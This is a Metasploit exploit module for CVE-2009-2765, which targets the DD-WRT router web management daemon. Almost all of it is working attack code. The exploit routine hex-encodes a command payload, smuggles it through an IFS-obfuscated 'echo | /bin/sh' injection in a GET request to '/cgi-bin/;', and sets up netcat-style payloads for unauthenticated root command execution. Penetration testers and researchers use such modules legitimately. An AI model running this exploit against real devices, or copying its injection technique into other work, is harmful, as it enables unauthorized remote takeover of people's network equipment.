DD-WRT HTTP Daemon Arbitrary Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { :pattern => [ /DD-WRT/ ] }

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'DD-WRT HTTP Daemon Arbitrary Command Execution',
      'Description'    => %q{
          This module abuses a metacharacter injection vulnerability in the
        HTTP management server of wireless gateways running DD-WRT. This flaw
        allows an unauthenticated attacker to execute arbitrary commands as
        the root user account.
      },
      'Author'         => [ 'gat3way', 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2009-2765' ],
          [ 'OSVDB', '55990' ],
          [ 'BID', '35742' ],
          [ 'EDB', '9209' ]
        ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'       => 1024,
          'DisableNops' => true,
          'Compat'      =>
            {
              'RequiredCmd' => 'generic netcat netcat-e'
            }
        },
      'Targets'        =>
        [
          [ 'Automatic Target', { }]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2009-07-20'
      ))
  end

  def exploit

    cmd = payload.encoded.unpack("C*").map{|c| "\\x%.2x" % c}.join
    # TODO: force use of echo-ne CMD encoder
    str = "echo${IFS}-ne${IFS}\"#{cmd}\"|/bin/sh&"

    print_status("Sending GET request with encoded command line...")
    send_request_raw({ 'uri' => "/cgi-bin/;#{str}" })

    print_status("Giving the handler time to run...")
    handler

    select(nil, nil, nil, 10.0)
  end
end